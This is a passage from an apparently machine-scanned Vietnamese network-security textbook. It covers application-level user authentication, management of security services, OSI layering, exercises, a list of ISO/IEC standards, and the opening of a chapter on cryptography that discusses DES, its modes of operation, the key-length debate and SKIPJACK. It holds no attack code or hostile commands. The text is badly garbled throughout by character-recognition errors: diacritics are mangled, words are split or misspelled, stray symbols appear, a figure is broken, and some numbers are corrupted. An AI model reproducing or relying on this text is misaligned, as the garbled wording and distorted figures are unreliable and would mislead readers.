M6t s dich vu an ninh mang yéu cau twong tac truc tiép véi nguo1 dung.
Nhitng twong tac nhuw vy, hoan toan khong thich hop véi bat ky kiéu klen
tric an ninh nao da trinh bay trén day. Truong hop quan trong nhat 1a mp
phep ca nhan. Nguoil dung la d6i tuong ben ngoal doi vc:rl cac tién ich truyen
thong, c6 nghia la, ngoai cac hé thong cubi. Cac truyén théng cé hd tro cap
phep ca nhan hoic 1a & tai cho (cd nghia la, gilra ngu’crl dung va hé théng
cuoi tai cho anh (chi) ta) hodc chung la nhiing phan tir g1ao thure & muc ung
dung hoic la chung két hop ca hai. Vi du cé thé néu ra & day la ba truong
hop sau:
e Nguol dung dung cap phép cho he thong cudi tai chd cia anh (hay
chy) ta. He thong cudi nay sau d6 cap phep cho chinh no to1 he thong cudi
& xa va cip nhan dang cla nguoi dung dé hé thong cudi & xa coi 1a xéic
thuce



* Nguoi dung chuyen théng tin cap phép (vi du nhu, mot mat khau) cho
hé thong cubi tal chd cua anh (hay chi) ta dé né chuyén dén hé thong cudi
& xa thuc hién cap phép cho ngu‘m dung.
e Nguol dung nhap mot mat khau va hé thong cum tai chd cua anh (hay
chi) ta dé hé thﬂng nay dung no nhan xac nhan cap phép mot may tram
cap phep truc tuyén hay may chu. Xac nhan cap phép dwoc chuyén dén
he thnng cudi & xa dé dung né lam co SO cap phép cho nguoi dung

Cap phép ca nhan s& duoc ban chi tiét trong chuong 5.

Hinh 3-9 minh hoa mbi quan hé gilta cac giao thirc tuong tac nguoti

dung va phuong an kién truc an ninh & murc ung dung.

........................... Tuong tac nguol dung Lép tng
M d | |
g uc ung adung Lqp -
#iEEi Lop phién lam

Hinh 3-9: Cac tuong tac nguol dung

3.5 Quan tri cac dich vu an ninh

Céc dich vu an ninh can su hd tro ctia cac chirc nang quan ly sau day:
e Quan tri phim danh cho céc hé thong m3 hoa trong viéc cung cap mot
dich vu an ninh (sec ducrc ban dén trong chucrng 4va 7)
e Phan phat thong tin can thlet dén cac dlem ra qu‘,fet dinh, vi du nhu,
dung cho viéc ra qu?et dinh cip phép hay quyét dinh klem soat truy nhap
— trong do bao gom ca cac thong tin cho phep mot quyét dinh tich cuc va
thong bao vé Viéc g0 bo thong tin da phan phat truoc do;
e Tich lu§ thong tin trung tim danh cho cac muc dich chang han nhu,
tao Iuu trit (cho cac muc dich thura nhan ké tiép) hoic tao vét kiém tra an
ninh hay tao bao dong;
e (Cac chuc nang van hanh, chﬁng han nhu, kich hoat hay g& bo dich vu;
va



e (Cac chirc nang quan tr1 an ninh dac thu, chﬁng han nhu, go1 chuong
trinh quet vi-rut tur xa trén cac tram lam viéc mang hoac hién thi cac hé
thong d6i véi phan mém khong hop phép.

Cac chirc ning quan tri nhu vay thuong yéu cau cac kha ning truyén
thong cua cung mot mang ma ching dang bao vé. Trong truong hop nay thi
didu can thiét 1a phai bao vé toi da cac truyén thong quan tri nay theo kha
ning cé thé. Nhin chung, bat ky ton hai nao trong truyén thong quan tr1 an
ninh déu gay ra mot tén hai twong duong hoac lon hon trong truyén thong
duoc bao ve.

Theo quan niém kién trac thi cac chirc ning quan tr1 an ninh duoc cung
cap théng qua cac tmg dung mang. Chung co thé bao gdm cac ing dung
danh cho quan tr1 mang (mot so vi du duoc trinh bay trong chuong 15) hay
cac ung dung vo1 cac muc dich chinh khac. Nhiing ngoai 1€ cua murc bd tri
nay co thé xuit hién, vi du nhu, khi cac thay doi quan tr1 phim duoc lién két
chit ché vdi xr Iy m3 hoa & cac 1ép thap. Chu dé nay s& duoc ban dén trong
chuong 4 va 7.

Két luan

Cac kién trac giao thirc ¢d phan lop cho phep cac thiét ké mang thich tng
Vo1 cac ing dung khong han ché, thich tmg véi cac cong ngh€ phuong tien
truyén thong co s& khong han ché va cac k¥ thuat két ndi lién thong khong
c¢6 gidi han. Kién tric OSI cung cap moOt mo hinh chung c6 thé lam co sé
cho viéc phan 16p. Trong kién tric nay cé bay lép va dwoc chia ra thanh
nhém 16p trén (gém cé Lép tmg dung, Lép trinh dién va Lép phién lam
viéc) va nhom 16p dudi (gém c6 Lép truyén tai, Lép mang, Lop lién két dit
lieu va Lop vat ly). Cac tieu chuian OSI khac dinh nghia cac dich vu lop va
cac glao thuc dac trung cho bay lc’rp B0 giao thuc mang Internet TCP/IP
dinh nghia cac glaD thure thay thé c6 thé anh Xa thang to1 mo hinh OSI.

Khi cung cap cac dich vu an ninh can chu ¥ xac dinh lop (cac lop) dat
cac dich vu bao vé an ninh. Dé hd tro cho viéc ra quyet dinh ngwo1 ta da xac
dinh bon murc kién tric an ninh la: murc Umg dung, muc he thé:vng cudi, muc
mang con va murc lién két truc tiép. Mirc tmg dung lién quan dén cac phan tir
gmm thirc an ninh phu thudc u'ng dung va yéu cau can cé su hd tro trcmng cac
glao thure lop trén. Nhiing yeu cau an ninh nhat dinh doi héi mot giai phap
tar muc do. Muc he thong cudi lién quan den cac phan tur giao thire an ninh
cung cip su bao vé trén co s hé théng cudi den hé théng cubi. Piéu nay cé
thé st dung cac giao thurc an ninh ¢ Lop truyén tai hoac Lop mang: ca hai
phuong an déu co san va co cac yéu t6 khac nhau cho moi phuwong an ma ta
can can nhic va quyét dinh. Mirc mang con cung cip su bio vé trén céic
mang con nhat dinh bén trong Lop mang hodc (trong treong hop cac mang



LAN) la trong Lép lién két dit liéu. Mixc |j truc tiép cung cap su bao vé trén
co s& theo timg duong lién két trén cac bd phan cia mdi truong mang; murc
nay lién quan dén Lép vat Iy hodc Ldp lién két dir lieu. Cac tuong tac vol
nguol dung (dic biét doi voi cac muc dich c:ap phep) khong hoan toan phu
hop v6i bon mure trén day va chung yéu cau co su can nhic dic biét.

Quan tr1 cac dich vu an ninh can co cac churc nang khac nhau va hau hét
chiing duoc cung cap thdng qua cac tmg dung quan tri mang.

Bai tap

l. Khi co mot dir lieu khong duogc bao vé ben trong thiét bi C:h'l.l‘fEl’l mach
mang (ching han nhu, cic cau ndi, cac bo chuyén tuyén hoic cac
chuven mach go1), thi thiét bi nay co thé can phai duoc dam bao ve
mat vat ly dé duy tr1 su bao ve thich dang. An vat ly nhu vay co thé rat
dit. Dé giam chi phi nay, nén dit dich vu an ninh & mic (cac mirc)
nao?

2. Trong mot tin nhin giao dich tai chinh, can phai chuyén mét s6 nhan
dang c4 nhan PIN m3 hoa trong khi céc chi tiét gia dich khéac thi
khong can phai bao vé. Can st dung muc (cac murc) kién tric nao
trong bon murc di biét dé bo tri dich vu an ninh va vi sao?

3. Néu thong tin nhay cam co thé duoc gom nhat bﬁng cach hien thi cac
thong tin dia chi trong mot thay doi thiét 1ap két ndi hoic trong mot
don vi dir liéu khong két ndi ta cé thé st dung mirc (cac mirc) kién
tric nao dé dam bao su bao vé thich dang.

4. Mot cong ty lon co mot mang trai rong qua mot sO phan xuong. Theo
yéu cau clia cac ngudi dung trén mang co cho truyén tar moét luong
thong tin ta1 san thuc té€ cua cong ty. Cong ty muﬂn ap dung bao ve
bao trum lén cac bo phan mang co kha nang bi tén hai chc}ng la1 su
tiét 10 cac thong tin ta1 san nay cua cong ty ra ngnal Tmng moi cau
hinh dudi day thi muirc kién trac nao 1a thich hop nhat dé ap dung céc
dich vu bao mat va tai sao?

(a) Mang gdm cac mang LAN cuc bd trong khu vuc clia cdng ty cé
mot két noi lién thong mang dién rong cac vi1 tri nay.

(b)Mang gﬂm cac mang LAN cuc b0 trl::rng khu vuc cua cong ty
vé1 mot s6 it cac duodng thué bao két noi lién thong cac cong LAN
tal cac vi tri na}f_

(c) Mang gdm moét s6 cac dudng truyén thong khac nhau dang tin
cé thé mé rong ma nguoi dung khong c6 quyén klem soat an ninh
ctia bd chuyén hudng duoc dung cho mdi lan truyén.
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Cdc tiéu chuan

Tiéu chuan ISO/IEC 7498-1: Cﬂng nghé théng tin — Két noi lién thang cac
hé thong mé - M6 hinh tham chiéu co sé (cling con goi la Khuyen cao ITU
X.200).

Tiéu chuan ISO/IEC 7498-1: Céng nghé théng tin — Két néi lién théng cdc
hé thong mé - M6 hinh tham chiéu co sé - phan 2 (cling con goi la Khuyén
cao ITU X .800).

Tiéu chuan ISO/IEC 8072: Céng nghé théng tin — Két noi lién théng cdc hé
théng mé - Dinh nghia dich vu truyén tdi cé két noi (cling con goi la
Khuyén céo ITU X.214),

Tiéu chuan ISO/IEC 8073: Céng nghé théng tin — Két néi lién théng cdc hé
thong mé - Pinh nghia giao thirc truyén tdai cé két noi ( cling con goi 1a
Khuyén cdo ITU X.224)




Tiéu chuan ISO/IEC 8208: Cﬂ“ﬂg nghe thong tin — T ruyén thong dir liéu —
Giao thirc mirc go6i X.25 doi voi cac thiét bi dau cuoi dir heu

Tiéu chuan ISO/IEC 8326: Céng nghé thong tin — Két F’I-‘D‘I lién thong cac hé
thong mé - Pinh nghia dich vu phién lam viéc co két noi co sé (cling con
goi 1a Khuyén cao ITU X215).

Tiéu chuan ISO/IEC 8327: Céng nghé théng tin — Két ndi lién théng cdc hé
thong mé' - Dinh nghia giao thirc phién lam viéc co két noi co 56 (cling con
duoc goi 1a Khuyén céo ITU X.225).

Tiéu chuin ISO/IEC 8348: Céng nghé théng tin — Truyen thong dir liéu —
Dinh nghia dich v mang (cling con duoc goi la Khuyén cdo ITU X.213).

Tiéu chuin ISO/IEC 8473: Cong nghé thong tin — Truyen thong dir lieu —
Giao thirc cung cdp dich vu mang ché dé khéng két noi.

Tiéu chuin ISO!’IEC 8571: Cong nghé rh.-:ﬁng tin — Két noi lién théng cdc hé
thong mé - Truyén tép, truy nhdp va quan tri (FTAM).

Tiéu chuan ISO/IEC 8602 Cong nghé tkang tin — Két noi lién thong cac hé
thong mé - Giao thirc cung cdp dich vu truyen tai ché do khong két noi.
ISO/IEC 8648: Cong nghe thong tin- Truven thong dir liéu - T6 chirc noi bo vé lop
mang.

ISO/IEC 8649: Cong nghé thong tin - Sw két ndi cac hé thong mé - Pinh
nghia céc dich vu dé kiém soat 1ién két ( ca ITU-T Su gidi thidu X.217).
ISO/IEC 8650: Cong nghé thong tin - Su két ndi cac hé thong mé - Pic ta
giao thirc cho su lién két dé kiém soét dich vu phan ti( ca ITU-T Su gidi
thieu X.227).

ISO/IEC 8802: Cong nghe thong tin — Cac mang khu vuce trung tam va dia
phuong.

ISO/IEC 8822: Cdng nghé thong tin - Su két ndi cac hé thong mé - Su dinh
nghia dich vu trinh bay dinh hudng két n6i( ca ITU-T Su gidi thiéu X.216).
ISO/IEC 8823: Cong nghé thdng tin - Su két ndi cac hé théng mé - Dic ta
giao thirc trinh bay dinh hwéng két n6i( ca ITU-T Su gidi thiéu X.226).
ISO/IEC 8824: Cdng nghé thong tin - Su két ndi cac hé thong mé - Pic ta ky
hiéu cu phap truu twong (ASN.1) ( ca ITU-T X.680 cac gion thiéu).

ISO/IEC 8825: Cong nghé thong tin - Sur két noi cac hé thong mé - Dic ta
cac quy tic m3 hoa ASNI(cd ITU-T X 690 cac gisi thiéu ).

ISO/IEC 8878: Cong nghé théng tin - Truyén thong dit liéu - Cach st dung
X 25 dé cung cﬁp dich vu mang kiéu it kétnoi .

ISO/IEC 8880: Cong nghé thong tin - Truyén thong dit liéu - Su két hop
giao thirc dé cung cap va hd tro dich vu mang OSL

ISO/IEC 8881: Cong nghé thong tin - Truyén thong dit lidu - S& dung giao
thuc lop tron go1 X.25 trong mang no1 bo.




ISO/IEC 9072: Coéng nghé thong tin - Su két ndi cac hé thong mé Cac thao
tac tu xa. o ,. ?
ISO/IEC 9545: Cong nghe thong tin - Su két no1 cac hé thong maé - Cau truc

16p céc tmg dung ( ca ITU-T Su gidi thiéu X.207).

ISO/

5C 10736: Cong nghé thong tin - Truyén théng va chuyén doi thong

tin gilta cac hé thong — giao thirc an toan 16p giao thong( ca ITU-T Su gidi
thieu X.824).

ISO/IEC 11577: Cong nghé théng tin - Truyén thdng va chuyén déi théng
tin gitta cac hé thong — Giao thirc an toan 16p mang ( ca ITU-T Su gidi thiéu
X.823).( ban si)

ITU-T Su gi1o1 thieu X.25: Giao dién giira thiét bi tram dit liéu (DTE) va
thiét bi mach cudi dit liéu(DCE) cho cac thao tac trong ché dd gbi va da két
noi téi cac mang béi mach chuyén mon (ISO/IEC 8208).




Chuong 4
Cong nghe ma hoa

Céng nghé ma hoa, nhwr 1a s ma hoa va chir ky dién tir, la nhitng khéi céng trinh quan
trong trong su thuc thi cua cac dich vu an toan. Chwong nay sé gid thiéu nhitng cong
nghé ma hoa quan trong da s dung trong mang may tinh an toan dwong thoi.

Khéi cong trinh co ban nhat duoo go1 la mot hé thnng ma hoa (hoac h¢
thc}ng mah). Mot hé thﬂng ma dinh nghia mot cap bién doi dir licu. Su bién
d6i thé nhat dwoc ap dung cho biéu twong dit lidu goc gni la van ban gdc,
va phat sinh mét bleu twong di liéu twong tng (kho hiéuk) goL la vaﬂ ban
mé hoa. Su bién do6i thir hai, ap dung véi vin ban ma hoa, kat qua fra lai

van ban g::m Hai su bién di thwmtg dwoc goi riéng biét 1a5w ma hoa va su
giai ma. Céc thuat ngit thay doi su ma hﬂﬂ va su giai ma cung duge sir dung,
va duoc dua ra nhu 1a tiéu chuan quée té 1

Mot su bién dbi ma hoa si dung ca nhap dit lu;u van ban g{:-c va gia tri
dit icu doc lap thanh phim mat ma hoa. Thﬂng th‘u:i:rng mot bién 361 g1a1 ma
sur dung phim giai ma. Nhitng phim nay bé ngoél nhu 1a nhitng vector don vi
ngau nhién. -

Cach su dung trwde cua hé thc:-ng ma la’i dt: cung cap cho s can mat. Vin
ban gdc la nhimng dir licu khong dm;m bao vé. Van ban ma hoa twong ung ¢6
thé bi truyén dich tir nhitng m61 traong khung tin cdy bdi vi néu hé timng ma
12 mét hé thong tot n6 s& klmng cho bat ky a1 suy luan ra van ban géc tur
van ban ma hoa ma khong_cans Biét phlﬂ] gial ma. He thﬂng ma uung sur
dung cho nhitng cach dﬁng khac ngoai su can mat, s& trinh bay 16 & phan sau
trong chuong nay.

C6 hai kiéu hé ﬂmng mi co ban — hé thong d6i xung (thinh thoang gm la
phim riéng hoficthé thﬂng phim bi matt) va phim chung (hoac hé thﬂng
khéng dﬂ,l xangh). Ching c6 nhu'ng dac 5iém khac nhau va dwoc sit dung
trong nhiing.céch khac nhau dé cung cap cho cac dich vu an toan.

Chuen g nay dwoc chia ra thanh cac phan nhu sau:

(1)He thnng ma doi xing;

(2)He thnng mi khéng d6i xing;

(3)Cac dau hiéu hoic cac gi1a tr1 ven toan (chinh la cac ma xac nhan
thong tinc):
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bay la vi “ sy ma hoa” va “ su gia1 ma” b1 lan lon voi tat ca su bien
dich truyén thong cua “ su che di1” va “ s dao lén” ciua mot val ngon ngit.

(4)Cac chtt ky dien tu;

(5)Céc nguyén tic chung dé quan 1y cac phim méat m3:

(6)Cac phuong phap xay dung cac phim bi mat; va

(7)Céac phuong phap xiy dung cac phim cho hé thong bi mat phim
chung.

Muc do bi mat ¢ day dugc g101 han d6i voi nhitng anh hudng lién quan dén thue
hanh true tiep va khong mé 1ong d6i voi mo ta toan hoc trén co sé su ghi ma hoa. Poi
VOl nhung muitc d6 bi mat chi tiét ciia hé thong ma hoa, xem [BRAI, DENI1, MEY],
SEBI1], va doi voi muc do bi mat chuyéen bigt cua su ghl mé hoa phim chung Xem
[NECI] Chlrcmg 10 cung cap nhitng an pham tiéu chuan chi tiét nhat doi voi cac
cong nghe da mueu ta.

4.1 Hé thong ma doi xirng

Pac diém cia hé thong ma doi ximg qua thue té 14 cung mot phim dlrr:rc su dung
trong su bién ddi ma hoa va glal ma § (xem hinh 4x-1). Pé cung cap su can mat, mot
hé thc:}ng mi doi ximg lam viéc nhu sau. Hai he thmlg A va B, quyet dinh chung
muon lién lac mot cach an toan. Ca hai hé thong déu nam giit thong tin vé gia tri dit
lidu duoc st dung 1a mot phim bang mot vai xit 1y (sé duoc thao luan saus). Phim nay
s& duoc gift bi mat doi vdi nhiing hé thong khac ngoai hé thong A va B. Dieu d6 cho
phép hoac A hoédc B bao vé thong tin duge gui tdi cac nhom khac bang sir ma hoa no
ma st dung phim do. Nhom do co the giai ma thong tin, nhung ngoai nhom do thi
khong the giai dugc.

Hé thong ma doi xung da duoc st chmg trong cac mang thuong mai tir dau nhtmg
nam 1970. Tieu chuan ma hoa dit ligu cua Chinh phu M}f la hé thong ma kiéu nay ma
da duoc xuat ban véi day di su xac nhan nhw la tiéu chuan chung.

Khoa
2
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Hinh 4-1: Hé thong m3 d61 ximg.



Tiéu chuan ma hod dir liéu ( DES)

Vao nim 1973 val974, Cuc tiéu chuan quéc gia M§ (NBS) — tir khi doi tén
la Vién nghién ciru tiéu chuan va cdng nghé qubc gia (NIST) - di dua ra
mbi lién quan cac thuat toan ma hod cho cac chi nhanh lién bang dé sit dung
bao vé thong tin nhay. Tu nhiing don da dé trinh, thuat toan dwoc chon la
mot don dé trinh bdi IBM. N6 chiu theo thoi ky xem lai chung bat dau vao
n3m 1975, sau dé duoc chap nhin nhu 1a Tiéu chuan X Iy Thong tin Lién
bang FIPS PUB 46 nam 1977, voi ten la Tieu chuan M3 hoa Dit liéu (DES).
Vao nam 1981, mot su xac nhan nhu vay cling duoc Ghﬁp thuan béi to chirc
tiéu chuan thwong mai M§, ANSI, nhu 1a Tiéu chuan Qudc gia M§ ANSI
X3. Thuat toan Ma hoa D l1éu Tieu chuin Qu-:’:::c gia MY 92 (dua ra su viét
tit khac 1a DEA). Thuat toan nay dad nhanh chong duoc trién khai cho muc
dich tin cy trong chinh phu, va cho cac muc dich ven toan trong nén cong
nghiép tai chinh, va di timg dwoc chép thuin rong rii trong cac linh vuc
ung dung khac.

DES cling da tro thanh mot tieu chuin quéc té. N3m 1986, no duoc
chimg minh 1a dat tiéu chuan ISO 8227 (Qua trinh x Iy théng tin — Su ma
hoa dit lieu — Su xac nhan cac thuat toan DEA1Q). Tuy nhién, su can thiép
gidy phut cudi bdi nhitng ngudi dai dién ndi bd tai Hoi ddéng ISO di dua ra
giai phap ring ISO khong nén dit tiéu chuin m3 hoa. Tiéu chuan quoc té
DES sé khong bao gio duoc phat hanh. Dé biét mo ta day da veé lich st cla
DES, xem [SMI1].

Thuat toan DES dung phim 56-bit va hoat ddng trén khoi 64-bit cia
dit ieu. Qua trinh xtt Iy su m3 hod ap dung vao su sip xép ban dau cla cac
bit van ban gﬂc dua ra keét qua th:::rng qua pham v1 16 cua su tinh toan phim
phu thudc, sau do6 ap dung su sip xép cudi t::ung dé dwa ra vin ban m3 hoa.
Su tinh toan phim phu thudc lién quan dén qua trinh chia dit liéu 64 bit
thanh hai nira 32 bit. Mét ntra duoc st dung dé nhap moét ham phure tap, va
két qua la Ored riéng cho ntra con lai. Ham phre tap dé bao gom nhiing thir
hang d3 xép loai thong qua tim bang khong tuyén tinh A3 ghi r su thay thé
duoc biét 1a hop S (hop thay théh). Sau mot chu ky hoic mét vong, hai nira
dit liéu do duoc hoan doi va hoat dong do s€ thuc hién la1 . Ngo6 xuat cuia
qua trinh x 1y A6 s& khong hién thi su twong quan véi ngd nhap. Tat ca cac
bit clia ngd xuit phu thudc vao tit ci cac bit ctia ngd nhip va cac bit cia
phim. Su an toan cua DES phu thudc chinh vao hop S - cat ma chi co duy
nhit cac bd phan khong tuyén tinh.




Qua trinh gidi m3 cling giong nhw qua trinh m3 hoa, ngoai trir nhitng
phan phim d3 chon dé xtr dung trong pham vi 16 dé dao nguoc thir tu.
Kich ¢& kho4a ctia DES c6 thé bi ting 1én bdi qua trinh st dung mot su tiép
cin da m3 hoa [TUC1]. Ba DES lién quan dén m6t sw mi hoa dau tién cia
mot khoi 64 bit sit dung phim a, theo sau béi su giai mi két qua st dung
phim b, theo sau bd1 mot s ma hoa két qua st dung phim c. Gia tr1 gi{;jng
nhau cé thé duoc st dung cho phim a va ¢, véi viée giam do6 dai cia ma
[MER1, VAN1].Vi vay, su tiép can ba DES c6 ca bién hai khoa va ba khoa.

B6 xu 1y hinh 4nh tai chinh PUB 46 gbc d3 yéu cidu DES duoc thuc
thi trong ph:*?in cung, mac du han ché nay dé dang duwoc xac nhan mot lan
nita cac thuit toan bdi NIST ndm 1993. ANSI X3.92 d4 giam han ché toi
thiéu, ludn nhén ra ring su thuc thi phan mém cé thé duoc chap nhan trong
mot val mo1 truong. Mot sb huong dan cho cac nha thuc thi DES duoc cung
cap trong bd xi Iy hinh anh tai chinh PUB 74. Hai an pham dic biét cia
NIST cling dang duoc ghi nhan — [ NIST1] mé ta nhitng tht tuc phé chuan
cac thiét bi DES va [ NIST2] mo td su mot kiém chimg su bao tri DES ¢
khi n3ng phu hop dé st dung, vi du mot thiét bi tur kiém ching chay tai ltic
khoi dong hé thong .

Cdc kiéu thao tdc

Khi nhitng qua trinh m3 hoa can thiét dé ap dung ca cho thong bao hoic
luong dit liéu kich ¢& tuy vy, nhitng khai niém ctia m3 hoa khdi va m3 hoé
dong rat quan trong. Mt khoi mi ngat dit liéu dé bao vé thanh céc khdi cé
cung ¢& nhu 1a ¢& khoi hé thong mi (64 bit trong truong hop DES6). Mot
dong m3 ngat dit liéu thanh céc ky tu tuan tu. |

Kém theo tiu chuan cua DES 1a bon kiéu thao tac cta cac thuat toan co ban. Bon kiéu
hoat dong do la:

. Ché a6 sach mi dién t& (ECB): Kiéu sach mi x Iy su ma hoa khoi
64 bit don. Khi mét mau dit liéu 1én hon 64 bit sé duoc bao vé, nd sé
duoc trén thanh mot khoi, va mdi khdi duwoc mi hoa va giai ma doc
lap v6i cac khdi khac. Kiéu ECB ¢6 gioi han cho phim di chon la
nhitng vin ban rd giong nhau thi s& dua ra vin ban mi gibng nhau
N6 rat dé bi tan cong tir nhitng kiéu khic va khéng phu hop dé st
dung trong nhitng ung dung ma thwra nhan su ldp la1 hoac st dung
chung su tuan tu 1a mot de doa. Ba kiéu con lai khong c6 gidi han
nay.



. Ché d6 chudi khoi ma (CBC): Mot mi khoi x Iy mdi mdt khoi
vin ban 8 trong chudi dit lidu loai trir toan tr OR véi khodi vEn ban
mi co trude trude khi mi hoa. Véi khoi dau tién, vin ban mi cia
khoi la Ored riéng vol mot sO lwong nhap ddc lap 64 bit nhu la vector
khéi dau (IV). Trong trudng hop bit 181 trong chudi van ban mi, kiéu
CBC s& tu ddng bo sau hai khéi (vi du.. khéi bi 161 va khdi sau do s&
khéng dwoc gidi mi chinh xéc, nhung khbi tiép theo s& duoc giai m3)
MOt tin nhin dang duoc m3 hoa can duoc nhét vao thanh nhitng khoi
64 bit.

. Ché d6 hoi tiép m3 hoa (CFB) : Mot chudi mit ma xir 1y trong dé
chudi vin ban 16 dwoc chia thanh cac ky tu bit k, 1< k < 64. Moi ky
tu trong van ban ma duoc chira dung boi ky tu van ban ré6 XOR vaoi
mot ky tuw khoa xuit phat tir qué trinh m3 hoa 64 bit ciia vin ban ma
hoa truoc (vi du, vor 8 ky tu van ban ma truoc, khi s dung 8 bit ky
tw). & giai doan dau clia qua trinh, 64 bit vector khéi dau (IV) thay
thé vin ban m3i. Ché a6 CFB ciling tw dong bd trong truong hop bit
15i. Vi du, Véi 8 bit ky tu, ky tw vin ban m3 bi mit hoic bi ngit trong
qué trinh truyén dich sé& béo két qua 101 truyén theo 8 ky tu dé, nhung
sur g1a1 ma s€ tu tai ﬁéng bo la1 sau 8 ky tu van ban ma chinh xac.

. Ché a6 phéan hoi xuat (OFB) : Mt dong vin ban m3 xir 1y thuét
toan DES duoc st dung dé sinh ra mot dong khoa ngau nhién ma loai
trr toan tr OR vo1 dong van ban ro. Giéng nhu CFB, no thao tac dua
trén k -bit ky tw. N6 cfing yéu cdu mdt IV dé bit dau. Tuy nhién,
khac vo1 CFB va CBC, no khong tao thanh chudi vin ban ma.
Nguyén nhan duy nhat mot bit 181 trong van ban mi la mét bit cua
v3n ban 16 da gidi mi bi 16i. Ché dd nay, khac vo1 CBC va CFB, la
khong phu hop cho viéc cung cap mét dich vu ven toan dir lidu. N6
khéng tu d6ng bd, néu su dong bd mat m3 bi mat, sau d6 mdt IV méi
s& phai duoc thiét 1ap gifta cac cai cudi.

IV dung & diém dau cua chudi va ché dd phan hoi s& cé sé ngau
nhién. Trong khi né khong thiét yéu dé IV duoc gitt bi mat, kién thirc chung
ciia mot IV c¢é thé thuan loi cho viée tan cdng giali m3 vao dau cac tin nhin
Vi vay, IV thuong duoc lién lac trong dang da ma hoa. Trong truong hop,
mot hé thé-ng nén dam bao rﬁng IV khac biet gitra mdi ché do dua ra vol
moi khoa dua ra.



Do dai cua DES

P dai ciia DES dé 1a mot van dé dang dwoc tranh luan, tir khi cudc tridu tap dau tién de
binh luan tiéu chuan da dé nghi vao nam 1975. Cudc tranh ludn co ban co hai van dé

chinh:
. Kich c¢& khoa duoc dit tai mot gia tri nhé khong can thiét ( 56 bit);
va
o Su phan loai béi s& an toan quoc gia (NSA) ve thiet ke ctia nhitng hop S (theo
sir an toan cua cac thuat toan phu thugc chinht).

Piéu nay dan dén tiép tuc tranh luan tinh thuyét phuc ctia DES & hau
hét moi phuong dién tan cong, vi du, mot su tan cong dua trén co ban thu
don thuan tat ca cac khoa (tir 7x 1016 cta ching) cho dén khi tim ra cai
thich hop. D6 ciing timg 1a s nghién ctru ma DES ¢6 thé gin lién vao “ cira
bay” duoc biét duy nhat b&i NSA, va d6 ciing 1a cu lo ling vé d6 dai tuong
d61 cua nhiimg khoa khac nhau. Mot vai khoa duoc dinh dang theo tiéu
chuinkhi dang yéu hoic ban yéu3; tuy nhién, d6 dai cta sé khoa con lai
khac nhau khong duoc giai thich ré rang.

Toan bd cudc tranh luin git gao vé van dé nay tur trudc nam 1975
dén nim 1990 duoc tdng két béi Dorothy Denning [DEN2]. Két ludn cta ba
la:

DES da ¢ trong tnrfmg hoat dong st dung hon thap ky qua. Khong mot trwong hop tan
cmlg nao thanh cong ca, hay ngc:ai ra bit ép tho bao d4 tn‘ng duoc cnng bo. Elay chinh la
sw cong nhan thue té dang né. Mic du DES c6 nhiéu d1&111 yeu de tan cong boi cude
ngluen ctru trén moi phwong dién, tai liéu chung dé nghi rang nhitng cuoc tan cong nh
vay ¢ the tranh dwoc mot cach thanh cong bdi ba lan mé hoa, déc biet neu ba khoa doc
lap dwgc sir dung. Vi vay, DES voi ba lan mé hoa co thé cung cap sur bao vé chinh xac
cho nhiing tng dung d4 de cap trong nhieu nim tdi.

S& khéng con nghi ngo gi nita vé su ton tai hitu ich cia DES don
dang két thuc. DES c6 thé bi ngit bdi cudc tan cong toan dién béi bat ky ai
d4 chuan bi danh da tién cho thiét bi d3 yéu cau. Vi du, Eberle [EBE1] danh
i ring DES c6 thé bi ngit véi trung binh 8 ngay st dung thiét bi gia
khoang 1 triéu dolaMy¥, da xay dung tor 1992 — cong nghé mach) dién tu
siéu nhé DES. (Piéu nay so sanh véi su danh gia cia [GARR1] ring DES ¢6
thé b1 ngﬁt trong mot tuan véi 500,000% su dung thiét bi ¢6 sin nim 2000.)
Trén thuc té, néu ai la khach hang - thiét ké dic biét mach dién t& siéu nhd



dé ngat DES, nhitng danh gia & trén rat cé thé bi giam 1- dén 2 mic quan
trong, vi du., vdi thiét bi giad 1 triu d6laM§, DES cé thé bi ngit trong vai
gir. Néu mot cude diéu tra nhu vy tao khi ning cho ai 46 1am ton thuong
cac su truyén dich tai chinh gia tri cao phirc tap, diéu dé rd rang la nhiing
cudc tan cdng nhu vy sé khong duoc nap nhiéu nita.

Ddi dién timg céi riéng, 4n phim chi tiét cta su tiép cin cac gidi m3
gan day duoc goi 1a su gidi m3 cac mat m3 khac nhau [BIHI, BIH2] d3 phat
trién cac cau hoi méi vé dd dai cia DES va cac thuit toan dodi xung khac.
Su giai m3 cac mat ma khac nhau cé thé dua ra mot cudce tan céng vao DES
ma su tinh toan chuyeén sau khﬂng déng ké so VD’] mot cudc nghién cuu khoa
toan dién. Tuy nhién, cudc tan cong nay yéu cau cac cap van ban ré - van
ban m3 d3 chon 2 47 c6 kha ning cho ngudi giai cac mat m3, do vay khong
biéu dién mot de doa thiét thuc téi cach st dung ctia DES ddi véi muc dich
thuwong mai 4 .Tuy nhien, su phat trién nay lam noi bat su can thiét dé tiép
tuc theo dBi qua trinh tn cong cac thuét toan mat ma.

Su thuc thi mach dién t siéu nhé bing cac manh silic nhé khéng dit
ciia DES c6 sin dé dang. Ti 18 dit liéu ting t&i 1 GB / 1gidy [EBE1].

* Xem [MEY1] cho mét cudc thao ludn chi tiét.

" DES d3 chimg minh hoan toan chiu dung dwoc gidi m3 cac mat ma
khac nhau, bdi vi nha thiét ké ctia nd di biét cac khi ning bi tin cdng. Céc
thuat toan khdc d3 chimg minh yéu hon nhiéu bé ngoai cia su gidi mi cic
mat ma.

DES duoc xem lai db1 véi su phu hop cho chinh pha lién bang M§ s dung
5 n3am mdt 1an. Hé thong d3 duoc xac nhan lai 1an nita vao nam 1983,1988,
va 1993. Su xac nhan lai n3m 1993 di duoc kém theo béi médt chi dan rﬁng
cac thuét toan thay d6i cho chinh phu st dung dang bi cin nhic mot cach
chu dong.

Sur thay thé DES Chinh phii My

Vao thang 4 nam 1993, chinh phu My da thong bao rang mot dé nghi méi
y€éu cau cung cap th{:}ng tin tin can thong qua su ma hoa truyen thong, tmng
khi khi n3ng duy tri dong bd cla cac chi nhanh tuin tha theo luat phap dé
nghe trom trén nhitng lién lac nhu vay khi



duoc xac nhan hop phap dé lam nhu vay. Théng bao nay bao gom viéc gidm
nhitng théng tin di giéi han vé mot hé théng mi d6i ximng goi la
SKIPJACK.

Thuit toan mdi nay 1a m3 khoi 64 bit giéng nhu DES. Mot su khac
biet dang ké ctia DES la né dung mot khoa 80 bit (so sanh vo1 56 baits),
cdng thém nhiéu thr bic quan trong ddi véi dd dai mat ma. N6 lién quan
dén 32 vong tinh toan (so sanh vdi 16 vong cia DESs). N6 ¢6 thé duoc st
